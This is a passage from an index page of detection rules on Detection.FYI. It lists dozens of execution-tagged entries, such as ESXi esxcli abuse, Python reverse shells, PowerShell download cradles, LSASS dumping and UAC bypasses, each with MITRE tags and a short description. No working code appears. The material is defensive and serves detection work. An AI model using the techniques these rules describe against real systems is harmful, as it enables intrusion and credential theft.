attack.execution | Detection.FYI

ESXi Account Creation Via ESXCLI

May 21, 2025 · attack.persistence attack.execution attack.t1136 attack.t1059.012 ·
Share on:

Detects user account creation on ESXi system via esxcli

Read More
ESXi Admin Permission Assigned To Account Via ESXCLI

May 21, 2025 · attack.execution attack.privilege-escalation attack.t1059.012 attack.t1098 ·
Share on:

Detects execution of the "esxcli" command with the "system" and "permission" flags in order to assign admin permissions to an account.

Read More
ESXi Network Configuration Discovery Via ESXCLI

May 21, 2025 · attack.discovery attack.execution attack.t1033 attack.t1007 attack.t1059.012 ·
Share on:

Detects execution of the "esxcli" command with the "network" flag in order to retrieve information about the network configuration.

Read More
ESXi Storage Information Discovery Via ESXCLI

May 21, 2025 · attack.discovery attack.execution attack.t1033 attack.t1007 attack.t1059.012 ·
Share on:

Detects execution of the "esxcli" command with the "storage" flag in order to retrieve information about the storage status and other related information. Seen used by malware such as DarkSide and LockBit.

Read More
ESXi Syslog Configuration Change Via ESXCLI

May 21, 2025 · attack.defense-evasion attack.execution attack.t1562.001 attack.t1562.003 attack.t1059.012 ·
Share on:

Detects changes to the ESXi syslog configuration via "esxcli"

Read More
ESXi System Information Discovery Via ESXCLI

May 21, 2025 · attack.discovery attack.execution attack.t1033 attack.t1007 attack.t1059.012 ·
Share on:

Detects execution of the "esxcli" command with the "system" flag in order to retrieve information about the different component of the system. Such as accounts, modules, NTP, etc.

Read More
ESXi VM Kill Via ESXCLI

May 21, 2025 · attack.execution attack.impact attack.t1059.012 attack.t1529 ·
Share on:

Detects execution of the "esxcli" command with the "vm" and "kill" flag in order to kill/shutdown a specific VM.

Read More
ESXi VM List Discovery Via ESXCLI

May 21, 2025 · attack.discovery attack.execution attack.t1033 attack.t1007 attack.t1059.012 ·
Share on:

Detects execution of the "esxcli" command with the "vm" flag in order to retrieve information about the installed VMs.

Read More
ESXi VSAN Information Discovery Via ESXCLI

May 21, 2025 · attack.discovery attack.execution attack.t1033 attack.t1007 attack.t1059.012 ·
Share on:

Detects execution of the "esxcli" command with the "vsan" flag in order to retrieve information about virtual storage. Seen used by malware such as DarkSide.

Read More
Outlook EnableUnsafeClientMailRules Setting Enabled

May 20, 2025 · attack.execution attack.defense-evasion attack.t1059 attack.t1202 ·
Share on:

Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros

Read More
Potentially Suspicious Rundll32.EXE Execution of UDL File

May 20, 2025 · attack.defense-evasion attack.execution attack.command-and-control attack.t1218.011 attack.t1071 ·
Share on:

Detects the execution of rundll32.exe with the oledb32.dll library to open a UDL file. Threat actors can abuse this technique as a phishing vector to capture authentication credentials or other sensitive data.

Read More
Silenttrinity Stager Msbuild Activity

May 20, 2025 · attack.execution attack.defense-evasion attack.t1127.001 ·
Share on:

Detects a possible remote connections to Silenttrinity c2

Read More
Suspicious Remote Child Process From Outlook

May 20, 2025 · attack.execution attack.defense-evasion attack.t1059 attack.t1202 ·
Share on:

Detects a suspicious child process spawning from Outlook where the image is located in a remote location (SMB/WebDav shares).

Read More
Suspicious Use of CSharp Interactive Console

May 20, 2025 · attack.execution attack.defense-evasion attack.t1127 ·
Share on:

Detects the execution of CSharp interactive console by PowerShell

Read More
Hacktool Ruler

May 20, 2025 · attack.discovery attack.execution attack.collection attack.t1087 attack.t1114 attack.t1059 attack.t1550.002 ·
Share on:

This events that are generated when using the hacktool Ruler by Sensepost

Read More
Local Privilege Escalation Indicator TabTip

May 20, 2025 · attack.execution attack.credential-access attack.t1557.001 ·
Share on:

Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode

Read More
Potential SMB Relay Attack Tool Execution

May 20, 2025 · attack.execution attack.credential-access attack.t1557.001 ·
Share on:

Detects different hacktools used for relay attacks on Windows for privilege escalation

Read More
Outbound Network Connection Initiated By Microsoft Dialer

May 20, 2025 · attack.execution attack.command-and-control attack.t1071.001 ·
Share on:

Detects outbound network connection initiated by Microsoft Dialer. The Microsoft Dialer, also known as Phone Dialer, is a built-in utility application included in various versions of the Microsoft Windows operating system. Its primary function is to provide users with a graphical interface for managing phone calls via a modem or a phone line connected to the computer. This is an outdated process in the current conext of it's usage and is a common target for info stealers for process injection, and is used to make C2 connections, common example is "Rhadamanthys"

Read More
Blue Mockingbird - Registry

May 20, 2025 · attack.execution attack.persistence attack.t1112 attack.t1047 ·
Share on:

Attempts to detect system changes made by Blue Mockingbird

Read More
Potential Discovery Activity Via Dnscmd.EXE

May 20, 2025 · attack.discovery attack.execution ·
Share on:

Detects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain. DNS zones used to host the DNS records for a particular domain.

Read More
Potential Windows Defender Tampering Via Wmic.EXE

May 20, 2025 · attack.defense-evasion attack.execution attack.t1047 attack.t1562 ·
Share on:

Detects potential tampering with Windows Defender settings such as adding exclusion using wmic

Read More
Powershell Executed From Headless ConHost Process

May 20, 2025 · attack.defense-evasion attack.execution attack.t1059.001 attack.t1059.003 ·
Share on:

Detects the use of powershell commands from headless ConHost window. The "--headless" flag hides the windows from the user upon execution.

Read More
Registry Entries For Azorult Malware

May 20, 2025 · attack.persistence attack.execution attack.t1112 ·
Share on:

Detects the presence of a registry key created during Azorult execution

Read More
Remote Access Tool Services Have Been Installed - System

May 20, 2025 · attack.persistence attack.execution attack.t1543.003 attack.t1569.002 ·
Share on:

Detects service installation of different remote access tools software. These software are often abused by threat actors to perform

Read More
Potential Exploitation of CVE-2025-4427/4428 Ivanti EPMM Pre-Auth RCE

May 20, 2025 · attack.initial-access attack.t1190 attack.execution attack.t1203 cve.2025-4427 cve.2025-4428 detection.emerging-threats ·
Share on:

Detects potential exploitation of a chained vulnerability attack targeting Ivanti EPMM 12.5.0.0. CVE-2025-4427 allows unauthenticated access to protected API endpoints via an authentication bypass, which can then be leveraged to trigger CVE-2025-4428 — a remote code execution vulnerability through template injection. This sequence enables unauthenticated remote code execution, significantly increasing the impact of exploitation.

Read More
DSInternals Suspicious PowerShell Cmdlets

May 20, 2025 · attack.execution attack.t1059.001 ·
Share on:

Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files. The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.

Read More
DSInternals Suspicious PowerShell Cmdlets - ScriptBlock

May 20, 2025 · attack.execution attack.t1059.001 ·
Share on:

Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files. The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.

Read More
Kapeka Backdoor Loaded Via Rundll32.EXE

May 20, 2025 · attack.execution attack.t1204.002 attack.defense-evasion attack.t1218.011 detection.emerging-threats ·
Share on:

Detects the Kapeka Backdoor binary being loaded by rundll32.exe. The Kapeka loader drops a backdoor, which is a DLL with the '.wll' extension masquerading as a Microsoft Word Add-In.

Read More
Kapeka Backdoor Scheduled Task Creation

May 20, 2025 · attack.execution attack.privilege-escalation attack.persistence attack.t1053.005 detection.emerging-threats ·
Share on:

Detects Kapeka backdoor scheduled task creation based on attributes such as paths, commands line flags, etc.

Read More
Potential Exploitation of CVE-2024-3094 - Suspicious SSH Child Process

May 20, 2025 · attack.execution cve.2024-3094 detection.emerging-threats ·
Share on:

Detects potentially suspicious child process of SSH process (sshd) with a specific execution user. This could be a sign of potential exploitation of CVE-2024-3094.

Read More
Potentially Suspicious Child Process of KeyScrambler.exe

May 15, 2025 · attack.execution attack.defense-evasion attack.privilege-escalation attack.t1203 attack.t1574.001 ·
Share on:

Detects potentially suspicious child processes of KeyScrambler.exe

Read More
Tasks Folder Evasion

May 15, 2025 · attack.defense-evasion attack.persistence attack.execution attack.t1574.001 ·
Share on:

The Tasks folder in system32 and syswow64 are globally writable paths. Adversaries can take advantage of this and load or influence any script hosts or ANY .NET Application in Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr

Read More
Suspicious Autorun Registry Modified via WMI

May 12, 2025 · attack.execution attack.persistence attack.t1547.001 attack.t1047 ·
Share on:

Detects suspicious activity where the WMIC process is used to create an autorun registry entry via reg.exe, which is often indicative of persistence mechanisms employed by malware.

Read More
Suspicious PowerShell Invocations - Specific

May 12, 2025 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell invocation command parameters

Read More
Suspicious PowerShell Invocations - Specific - PowerShell Module

May 12, 2025 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell invocation command parameters

Read More
HackTool - HandleKatz Duplicating LSASS Handle

Apr 25, 2025 · attack.execution attack.t1106 attack.defense-evasion attack.t1003.001 attack.credential-access ·
Share on:

Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles

Read More
HackTool - SharpUp PrivEsc Tool Execution

Apr 25, 2025 · attack.privilege-escalation attack.discovery attack.execution attack.t1615 attack.t1569.002 attack.t1574.005 ·
Share on:

Detects the use of SharpUp, a tool for local privilege escalation

Read More
Suspicious CrushFTP Child Process

Apr 17, 2025 · attack.initial-access attack.execution attack.t1059.001 attack.t1059.003 attack.t1190 cve.2025-31161 detection.emerging-threats ·
Share on:

Detects suspicious child processes spawned by the CrushFTP service that may indicate exploitation of remote code execution vulnerabilities such as CVE-2025-31161, where attackers can achieve RCE through crafted HTTP requests. The detection focuses on commonly abused Windows executables (like powershell.exe, cmd.exe etc.) that attackers typically use post-exploitation to execute malicious commands.

Read More
Suspicious Process Spawned by CentreStack Portal AppPool

Apr 17, 2025 · attack.execution attack.t1059.003 attack.t1505.003 cve.2025-30406 detection.emerging-threats ·
Share on:

Detects unexpected command shell execution (cmd.exe) from w3wp.exe when tied to CentreStack's portal.config, indicating potential exploitation (e.g., CVE-2025-30406)

Read More
Exploitation Attempt Of CVE-2020-1472 - Execution of ZeroLogon PoC

Apr 17, 2025 · attack.execution attack.lateral-movement attack.t1210 cve.2020-1472 detection.emerging-threats ·
Share on:

Detects the execution of the commonly used ZeroLogon PoC executable.

Read More
Obfuscated PowerShell OneLiner Execution

Apr 17, 2025 · attack.defense-evasion attack.execution attack.t1059.001 attack.t1562.001 ·
Share on:

Detects the execution of a specific OneLiner to download and execute powershell modules in memory.

Read More
Scheduled Task Executing Encoded Payload from Registry

Apr 17, 2025 · attack.execution attack.persistence attack.t1053.005 attack.t1059.001 ·
Share on:

Detects the creation of a schtask that potentially executes a base64 encoded payload stored in the Windows Registry using PowerShell.

Read More
Potential Product Class Reconnaissance Via Wmic.EXE

Apr 16, 2025 · attack.execution attack.t1047 attack.discovery attack.t1082 ·
Share on:

Detects the execution of WMIC in order to get a list of firewall, antivirus and antispywware products. Adversaries often enumerate security products installed on a system to identify security controls and potential ways to evade detection or disable protection mechanisms. This information helps them plan their next attack steps and choose appropriate techniques to bypass security measures.

Read More
Suspicious LNK Command-Line Padding with Whitespace Characters

Apr 16, 2025 · attack.initial-access attack.execution attack.t1204.002 ·
Share on:

Detects exploitation of LNK file command-line length discrepancy, where attackers hide malicious commands beyond the 260-character UI limit while the actual command-line argument field supports 4096 characters using whitespace padding (e.g., 0x20, 0x09-0x0D). Adversaries insert non-printable whitespace characters (e.g., Line Feed \x0A, Carriage Return \x0D) to pad the visible section of the LNK file, pushing malicious commands past the UI-visible boundary. The hidden payload, executed at runtime but invisible in Windows Explorer properties, enables stealthy execution and evasion—commonly used for social engineering attacks. This rule flags suspicious use of such padding observed in real-world attacks.

Read More
DarkGate - Drop DarkGate Loader In C:\Temp Directory

Apr 16, 2025 · attack.execution attack.t1059 detection.emerging-threats ·
Share on:

Detects attackers attempting to save, decrypt and execute the DarkGate Loader in C:\temp folder.

Read More
Launch Agent/Daemon Execution Via Launchctl

Apr 16, 2025 · attack.execution attack.persistence attack.t1569.001 attack.t1543.001 attack.t1543.004 ·
Share on:

Detects the execution of programs as Launch Agents or Launch Daemons using launchctl on macOS.

Read More
Potential Suspicious Browser Launch From Document Reader Process

Apr 16, 2025 · attack.execution attack.t1204.002 ·
Share on:

Detects when a browser process or browser tab is launched from an application that handles document files such as Adobe, Microsoft Office, etc. And connects to a web application over http(s), this could indicate a possible phishing attempt.

Read More
Potential Adplus.EXE Abuse

Apr 16, 2025 · attack.defense-evasion attack.execution attack.credential-access attack.t1003.001 ·
Share on:

Detects execution of "AdPlus.exe", a binary that is part of the Windows SDK that can be used as a LOLBIN in order to dump process memory and execute arbitrary commands.

Read More
Potential Binary Impersonating Sysinternals Tools

Apr 16, 2025 · attack.execution attack.defense-evasion attack.t1218 attack.t1202 attack.t1036.005 ·
Share on:

Detects binaries that use the same name as legitimate sysinternals tools to evade detection. This rule looks for the execution of binaries that are named similarly to Sysinternals tools. Adversary may rename their malicious tools as legitimate Sysinternals tools to evade detection.

Read More
Conhost Spawned By Uncommon Parent Process

Apr 7, 2025 · attack.execution attack.t1059 ·
Share on:

Detects when the Console Window Host (conhost.exe) process is spawned by an uncommon parent process, which could be indicative of potential code injection activity.

Read More
Elevated System Shell Spawned From Uncommon Parent Location

Apr 7, 2025 · attack.privilege-escalation attack.defense-evasion attack.execution attack.t1059 ·
Share on:

Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges from a uncommon parent location.

Read More
Potential WinAPI Calls Via CommandLine

Apr 7, 2025 · attack.execution attack.t1106 ·
Share on:

Detects the use of WinAPI Functions via the commandline. As seen used by threat actors via the tool winapiexec

Read More
Operator Bloopers Cobalt Strike Commands

Mar 18, 2025 · attack.execution attack.t1059.003 stp.1u ·
Share on:

Detects use of Cobalt Strike commands accidentally entered in the CMD shell

Read More
Custom Cobalt Strike Command Execution

Mar 18, 2025 · attack.defense-evasion attack.t1562.001 attack.execution attack.t1059.001 ·
Share on:

Detects the execution of a specific OneLiner to Invoke PowerShell commands.

Read More
Execution of ZeroLogon PoC executable

Mar 18, 2025 · attack.execution attack.lateral-movement attack.t1210 ·
Share on:

Detects the execution of the commonly used ZeroLogon PoC executable.

Read More
Potential APT FIN7 Exploitation Activity

Mar 16, 2025 · attack.execution attack.t1059.001 attack.t1059.003 detection.emerging-threats ·
Share on:

Detects potential APT FIN7 exploitation activity as reported by Google. In order to obtain initial access, FIN7 used compromised Remote Desktop Protocol (RDP) credentials to login to a target server and initiate specific Windows process chains.

Read More
Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection - File Creation

Mar 4, 2025 · attack.execution cve.2024-3400 detection.emerging-threats ·
Share on:

Detects suspicious file creations in the Palo Alto Networks PAN-OS' parent telemetry folder, which are processed by the vulnerable 'dt_curl' script if device telemetry is enabled. As said script overrides the shell-subprocess restriction, arbitrary command execution may occur by carefully crafting filenames that are escaped through this function.

Read More
Malicious PowerShell Commandlets - PoshModule

Mar 4, 2025 · attack.execution attack.discovery attack.t1482 attack.t1087 attack.t1087.001 attack.t1087.002 attack.t1069.001 attack.t1069.002 attack.t1069 attack.t1059.001 ·
Share on:

Detects Commandlet names from well-known PowerShell exploitation frameworks

Read More
Malicious PowerShell Commandlets - ProcessCreation

Mar 4, 2025 · attack.execution attack.discovery attack.t1482 attack.t1087 attack.t1087.001 attack.t1087.002 attack.t1069.001 attack.t1069.002 attack.t1069 attack.t1059.001 ·
Share on:

Detects Commandlet names from well-known PowerShell exploitation frameworks

Read More
Malicious PowerShell Scripts - FileCreation

Mar 4, 2025 · attack.execution attack.t1059.001 ·
Share on:

Detects the creation of known offensive powershell scripts used for exploitation

Read More
Malicious PowerShell Scripts - PoshModule

Mar 4, 2025 · attack.execution attack.t1059.001 ·
Share on:

Detects the execution of known offensive powershell scripts used for exploitation or reconnaissance

Read More
Nslookup PowerShell Download Cradle

Mar 4, 2025 · attack.execution attack.t1059.001 ·
Share on:

Detects a powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records.

Read More
Clfs.SYS Loaded By Process Located In a Potential Suspicious Location

Feb 22, 2025 · attack.execution attack.t1059 ·
Share on:

Detects Clfs.sys being loaded by a process running from a potentially suspicious location. Clfs.sys is loaded as part of many CVEs exploits that targets Common Log File.

Read More
Python Inline Command Execution

Feb 22, 2025 · attack.execution attack.t1059 ·
Share on:

Detects execution of python using the "-c" flag. This is could be used as a way to launch a reverse shell or execute live python code.

Read More
AADInternals PowerShell Cmdlets Execution - ProccessCreation

Feb 17, 2025 · attack.execution attack.reconnaissance attack.discovery attack.credential-access attack.impact ·
Share on:

Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.

Read More
AADInternals PowerShell Cmdlets Execution - PsScript

Feb 17, 2025 · attack.execution attack.reconnaissance attack.discovery attack.credential-access attack.impact ·
Share on:

Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.

Read More
Schtasks Creation Or Modification With SYSTEM Privileges

Feb 17, 2025 · attack.execution attack.persistence attack.t1053.005 ·
Share on:

Detects the creation or update of a scheduled task to run with "NT AUTHORITY\SYSTEM" privileges

Read More
Potential KamiKakaBot Activity - Lure Document Execution

Feb 3, 2025 · attack.execution attack.t1059 detection.emerging-threats ·
Share on:

Detects the execution of a Word document via the WinWord Start Menu shortcut. This behavior was observed being used by KamiKakaBot samples in order to initiate the 2nd stage of the infection.

Read More
Renamed NirCmd.EXE Execution

Feb 3, 2025 · attack.execution attack.t1059 attack.defense-evasion attack.t1202 ·
Share on:

Detects the execution of a renamed "NirCmd.exe" binary based on the PE metadata fields.

Read More
Suspicious Command Patterns In Scheduled Task Creation

Feb 3, 2025 · attack.execution attack.t1053.005 ·
Share on:

Detects scheduled task creation using "schtasks" that contain potentially suspicious or uncommon commands

Read More
CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Linux)

Jan 30, 2025 · attack.execution attack.t1059 attack.initial-access attack.t1190 cve.2023-22518 detection.emerging-threats ·
Share on:

Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.

Read More
CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Windows)

Jan 30, 2025 · attack.execution attack.t1059 attack.initial-access attack.t1190 cve.2023-22518 detection.emerging-threats ·
Share on:

Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.

Read More
CVE-2024-50623 Exploitation Attempt - Cleo

Jan 30, 2025 · attack.execution attack.t1190 cve.2024-50623 detection.emerging-threats ·
Share on:

Detects exploitation attempt of Cleo's CVE-2024-50623 by looking for a "cmd.exe" process spawning from the Celo software suite with suspicious Powershell commandline.

Read More
File Creation Related To RAT Clients

Jan 30, 2025 · attack.execution detection.emerging-threats ·
Share on:

File .conf created related to VenomRAT, AsyncRAT and Lummac samples observed in the wild.

Read More
Forest Blizzard APT - Process Creation Activity

Jan 30, 2025 · attack.defense-evasion attack.execution detection.emerging-threats ·
Share on:

Detects the execution of specific processes and command line combination. These were seen being created by Forest Blizzard as described by MSFT.

Read More
Pikabot Fake DLL Extension Execution Via Rundll32.EXE

Jan 30, 2025 · attack.defense-evasion attack.execution detection.emerging-threats ·
Share on:

Detects specific process tree behavior linked to "rundll32" executions, wherein the associated DLL lacks a common ".dll" extension, often signaling potential Pikabot activity.

Read More
Potential BlackByte Ransomware Activity

Jan 30, 2025 · attack.execution attack.defense-evasion attack.impact attack.t1485 attack.t1498 attack.t1059.001 attack.t1140 detection.emerging-threats ·
Share on:

Detects command line patterns used by BlackByte ransomware in different operations

Read More
Potential Raspberry Robin CPL Execution Activity

Jan 30, 2025 · attack.defense-evasion attack.execution attack.t1218.011 detection.emerging-threats ·
Share on:

Detects the execution of a ".CPL" file located in the user temp directory via the Shell32 DLL "Control_RunDLL" export function. This behavior was observed in multiple Raspberry-Robin variants.

Read More
Qakbot Uninstaller Execution

Jan 30, 2025 · attack.execution detection.emerging-threats ·
Share on:

Detects the execution of the Qakbot uninstaller file mentioned in the USAO-CDCA document on the disruption of the Qakbot malware and botnet

Read More
Renamed Powershell Under Powershell Channel

Jan 30, 2025 · attack.execution attack.t1059.001 attack.t1036.003 ·
Share on:

Detects a renamed Powershell execution, which is a common technique used to circumvent security controls and bypass detection logic that's dependent on process names and process paths.

Read More
Suspicious Binaries and Scripts in Public Folder

Jan 30, 2025 · attack.execution attack.t1204 ·
Share on:

Detects the creation of a file with a suspicious extension in the public folder, which could indicate potential malicious activity.

Read More
Shell Execution via Rsync - Linux

Jan 19, 2025 · attack.execution attack.t1059 ·
Share on:

Detects the use of the "rsync" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Read More
Suspicious Invocation of Shell via Rsync

Jan 19, 2025 · attack.execution attack.t1059 attack.t1203 ·
Share on:

Detects the execution of a shell as sub process of "rsync" without the expected command line flag "-e" being used, which could be an indication of exploitation as described in CVE-2024-12084. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.

Read More
Potential CVE-2023-36874 Exploitation - Fake Wermgr.Exe Creation

Jan 15, 2025 · attack.execution cve.2023-36874 detection.emerging-threats ·
Share on:

Detects the creation of a file named "wermgr.exe" being created in an uncommon directory. This could be a sign of potential exploitation of CVE-2023-36874.

Read More
Qakbot Regsvr32 Calc Pattern

Jan 6, 2025 · attack.defense-evasion attack.execution detection.emerging-threats ·
Share on:

Detects a specific command line of "regsvr32" where the "calc" keyword is used in conjunction with the "/s" flag. This behavior is often seen used by Qakbot

Read More
Rebuild Performance Counter Values Via Lodctr.EXE

Jan 6, 2025 · attack.execution ·
Share on:

Detects the execution of "lodctr.exe" to rebuild the performance counter registry values. This can be abused by attackers by providing a malicious config file to overwrite performance counter configuration to confuse and evade monitoring and security solutions.

Read More
Remote Access Tool - AnyDesk Execution With Known Revoked Signing Certificate

Jan 6, 2025 · attack.execution attack.initial-access ·
Share on:

Detects the execution of an AnyDesk binary with a version prior to 8.0.8. Prior to version 8.0.8, the Anydesk application used a signing certificate that got compromised by threat actors. Use this rule to detect instances of older versions of Anydesk using the compromised certificate This is recommended in order to avoid attackers leveraging the certificate and signing their binaries to bypass detections.

Read More
Remote Access Tool - ScreenConnect Remote Command Execution

Jan 6, 2025 · attack.execution attack.t1059.003 ·
Share on:

Detects the execution of a system command via the ScreenConnect RMM service.

Read More
Suspicious File Download From IP Via Wget.EXE - Paths

Jan 6, 2025 · attack.execution ·
Share on:

Detects potentially suspicious file downloads directly from IP addresses and stored in suspicious locations using Wget.exe

Read More
Suspicious Non PowerShell WSMAN COM Provider

Dec 28, 2024 · attack.execution attack.t1059.001 attack.lateral-movement attack.t1021.003 ·
Share on:

Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.

Read More
CodeIntegrity - Unmet Signing Level Requirements By File Under Validation

Dec 27, 2024 · attack.execution ·
Share on:

Detects attempted file load events that did not meet the signing level requirements. It often means the file's signature is revoked or a signature with the Lifetime Signing EKU has expired. This event is best correlated with EID 3089 to determine the error of the validation.

Read More
CMSTP UAC Bypass via COM Object Access

Dec 1, 2024 · attack.execution attack.defense-evasion attack.privilege-escalation attack.t1548.002 attack.t1218.003 attack.g0069 car.2019-04-001 ·
Share on:

Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65)

Read More
Potential RDP Session Hijacking Activity

Dec 1, 2024 · attack.execution ·
Share on:

Detects potential RDP Session Hijacking activity on Windows systems

Read More
UAC Bypass Using IDiagnostic Profile

Dec 1, 2024 · attack.execution attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the "IDiagnosticProfileUAC" UAC bypass technique

Read More
CVE-2023-38331 Exploitation Attempt - Suspicious WinRAR Child Process

Dec 1, 2024 · detection.emerging-threats attack.execution attack.t1203 cve.2023-38331 ·
Share on:

Detects exploitation attempt of CVE-2023-38331 (WinRAR before v6.23), where an attacker can leverage WinRAR to execute arbitrary commands and binaries.

Read More
Peach Sandstorm APT Process Activity Indicators

Dec 1, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects process creation activity related to Peach Sandstorm APT

Read More
Potential Dropper Script Execution Via WScript/CScript

Dec 1, 2024 · attack.execution attack.t1059.005 attack.t1059.007 ·
Share on:

Detects wscript/cscript executions of scripts located in user directories

Read More
PowerShell Core DLL Loaded By Non PowerShell Process

Dec 1, 2024 · attack.t1059.001 attack.execution ·
Share on:

Detects loading of essential DLLs used by PowerShell by non-PowerShell process. Detects behavior similar to meterpreter's "load powershell" extension.

Read More
Renamed PingCastle Binary Execution

Dec 1, 2024 · attack.execution attack.t1059 attack.defense-evasion attack.t1202 ·
Share on:

Detects the execution of a renamed "PingCastle" binary based on the PE metadata fields.

Read More
System Disk And Volume Reconnaissance Via Wmic.EXE

Dec 1, 2024 · attack.execution attack.discovery attack.t1047 attack.t1082 ·
Share on:

An adversary might use WMI to discover information about the system, such as the volume name, size, free space, and other disk information. This can be done using the wmic command-line utility and has been observed being used by threat actors such as Volt Typhoon.

Read More
HackTool - PCHunter Execution

Nov 25, 2024 · attack.execution attack.discovery attack.t1082 attack.t1057 attack.t1012 attack.t1083 attack.t1007 ·
Share on:

Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff

Read More
HackTool - Stracciatella Execution

Nov 25, 2024 · attack.execution attack.defense-evasion attack.t1059 attack.t1562.001 ·
Share on:

Detects Stracciatella which executes a Powershell runspace from within C# (aka SharpPick technique) with AMSI, ETW and Script Block Logging disabled based on PE metadata characteristics.

Read More
MpiExec Lolbin

Nov 25, 2024 · attack.execution attack.defense-evasion attack.t1218 ·
Share on:

Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary

Read More
Potential Compromised 3CXDesktopApp Execution

Nov 25, 2024 · attack.defense-evasion attack.t1218 attack.execution detection.emerging-threats ·
Share on:

Detects execution of known compromised version of 3CXDesktopApp

Read More
Potential SquiblyTwo Technique Execution

Nov 25, 2024 · attack.defense-evasion attack.t1047 attack.t1220 attack.execution attack.t1059.005 attack.t1059.007 ·
Share on:

Detects potential SquiblyTwo attack technique with possible renamed WMIC via Imphash and OriginalFileName fields

Read More
Potential File Extension Spoofing Using Right-to-Left Override

Nov 18, 2024 · attack.execution attack.defense-evasion attack.t1036.002 ·
Share on:

Detects suspicious filenames that contain a right-to-left override character and a potentially spoofed file extensions.

Read More
Python Reverse Shell Execution Via PTY And Socket Modules

Nov 4, 2024 · attack.execution ·
Share on:

Detects the execution of python with calls to the socket and pty module in order to connect and spawn a potential reverse shell.

Read More
Python Spawning Pretty TTY Via PTY Module

Nov 4, 2024 · attack.execution attack.t1059 ·
Share on:

Detects a python process calling to the PTY module in order to spawn a pretty tty which could be indicative of potential reverse shell activity.

Read More
Antivirus Exploitation Framework Detection

Nov 4, 2024 · attack.execution attack.t1203 attack.command-and-control attack.t1219 ·
Share on:

Detects a highly relevant Antivirus alert that reports an exploitation framework. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

Read More
Antivirus Hacktool Detection

Nov 4, 2024 · attack.execution attack.t1204 ·
Share on:

Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

Read More
Potentially Suspicious Command Executed Via Run Dialog Box - Registry

Nov 1, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects execution of commands via the run dialog box on Windows by checking values of the "RunMRU" registry key. This technique was seen being abused by threat actors to deceive users into pasting and executing malicious commands, often disguised as CAPTCHA verification steps.

Read More
Binary Proxy Execution Via Dotnet-Trace.EXE

Nov 1, 2024 · attack.execution attack.defense-evasion attack.t1218 ·
Share on:

Detects commandline arguments for executing a child process via dotnet-trace.exe

Read More
Cscript/Wscript Potentially Suspicious Child Process

Nov 1, 2024 · attack.execution ·
Share on:

Detects potentially suspicious child processes of Wscript/Cscript. These include processes such as rundll32 with uncommon exports or PowerShell spawning rundll32 or regsvr32. Malware such as Pikabot and Qakbot were seen using similar techniques as well as many others.

Read More
Potential Direct Syscall of NtOpenProcess

Nov 1, 2024 · attack.execution attack.t1106 ·
Share on:

Detects potential calls to NtOpenProcess directly from NTDLL.

Read More
Potential Pikabot Infection - Suspicious Command Combinations Via Cmd.EXE

Nov 1, 2024 · attack.execution attack.t1059.003 attack.t1105 attack.t1218 detection.emerging-threats ·
Share on:

Detects the execution of concatenated commands via "cmd.exe". Pikabot often executes a combination of multiple commands via the command handler "cmd /c" in order to download and execute additional payloads. Commands such as "curl", "wget" in order to download extra payloads. "ping" and "timeout" are abused to introduce delays in the command execution and "Rundll32" is also used to execute malicious DLL files. In the observed Pikabot infections, a combination of the commands described above are used to orchestrate the download and execution of malicious DLL files.

Read More
Suspicious Greedy Compression Using Rar.EXE

Nov 1, 2024 · attack.execution attack.t1059 ·
Share on:

Detects RAR usage that creates an archive from a suspicious folder, either a system folder or one of the folders often used by attackers for staging purposes

Read More
Potentially Suspicious File Download From File Sharing Domain Via PowerShell.EXE

Oct 25, 2024 · attack.execution ·
Share on:

Detects potentially suspicious file downloads from file sharing domains using PowerShell.exe

Read More
Suspicious File Download From File Sharing Domain Via Curl.EXE

Oct 25, 2024 · attack.execution ·
Share on:

Detects potentially suspicious file download from file sharing domains using curl.exe

Read More
Suspicious File Download From File Sharing Domain Via Wget.EXE

Oct 25, 2024 · attack.execution ·
Share on:

